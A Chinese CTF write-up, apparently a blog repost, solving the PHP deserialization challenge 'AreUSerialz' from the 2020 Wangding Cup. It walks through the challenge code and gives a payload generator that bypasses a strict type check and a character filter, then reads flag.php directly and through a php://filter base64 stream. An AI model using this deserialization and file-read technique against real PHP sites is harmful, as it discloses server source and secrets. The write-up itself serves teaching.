zoukankan      html  css  js  c++  java
  • [网鼎杯 2020 青龙组]AreUSerialz

    对整个代码进行审计之后,其实很明显的,在代码的最后一部分中传入str参数后,对字符串进行反序列化操作。

    因为这不是在创建一个对象所以不会触发他的构造方法construct(),而是通过在销毁对象时触发他的destruct(),进入关键代码的。来看一下关键代码:

    这里需要注意的关键点是,if($this->op === "2") 对op的判断用的是===,三个等号强类型比较。我们可以通过传入一个数字2来绕过这个判断。

     //魔术方法 destruct() 在结束时销毁对象调用
        function __destruct() {
            //判断op的值,如果op的值为2,就让op值为1,并设置$content值为空串,调用process()
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }

    可以确定的是,我们这里需要通过read()方法读取flag.php,在文件的开头就有通过include(flag.php)包含到该文件。因此呢,我们需要给$op传入的值为2

    read()方法就像对简单了,只要求$filename不为空,就通过file_get_contents()方法去取文件,也正是由此读取flag.php。

     public function process() {
            //如果 op=1 就调用write()方法
            //如果 op=2 就给$res赋值为read()方法执行结果,并调用输出方法输出$res
            //否则就输出hacker
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
        //自定义方法read()
        private function read() {
            //先设置$res为空字符串
            $res = "";
            //判断$filename是否为空,不为空就读取文件,将读出来的字符串存放在$res中
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            //返回$res
            return $res;
        }

    看一下这个自定义方法,这部分通过代for循环对传进来的参数的每一位进行判断,要求其每一位的ascii值必须在32-125之间,为什么会强调这里呢?是因为这个FileHandler类中的变量全部都是protected的,在对其对象进行序列化时,protected权限的属性会在属性名前加上%00*%00来表示这个权限,而%00的ascii码为0,就无法通过is_valid()方法的检验。

    对于这种情况,有几种绕过的方法,其中简单的一种就是,php7.1+版本对属性的类型不敏感,因此在本地序列化时,可以将其属性改成public的就可以绕过。

    //自定义方法 is_valid
    function is_valid($s) {
        //要求传入的参数$s的每一位的ascii值必须在32-125之间,空格----}
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }

    最后呢,附上本地的序列化payload

    这里filename给了两种不同的值,

    其一,是直接传入文件的名字,通过read()方法,将文件以字符串形式读取。

    其二,因为file_get_contents()是支持php伪协议的,所以传入filter的伪协议,将flag.php的源码以base64的形式读取出来。

    <?php
    class FileHandler {
        public $op;
        public $filename;
        public $content;
        function __construct($op,$filename,$content) {
            $this->op=$op;
            $this->filename=$filename;
            $this->content=$content;
        }
    
    }
    
    $a = new FileHandler(2,'flag.php','');
    $b = new FileHandler(2,'php://filter/read=convert.base64-encode/resource=flag.php','');
    echo serialize($a);
    echo "<br>";
    echo serialize($b);
  • 相关阅读:
    “您的外卖订单正在由机器人配送中”:探访送货机器人进楼宇
    外媒:比特币大陆将于9月IPO 规模或高达180亿美元
    网站被挂马的处理办法以及预防措施
    【学习】linux环境下nginx文件彻底删除
    【学习】SpringBoot之全局异常处理器
    【学习】SpringBoot之自定义拦截器
    _parameter:解决There is no getter for property named in class java.lang.String
    Window安装Redis并设置为开机启动
    SpringBoot 使用定时任务动态执行任务
    网易云信(创建账号,添加好友,获取好友关系,发送系统消息《推送》,删除好友,修改用户信息)
  • 原文地址:https://www.cnblogs.com/ersuani/p/14042013.html
Copyright © 2011-2022 走看看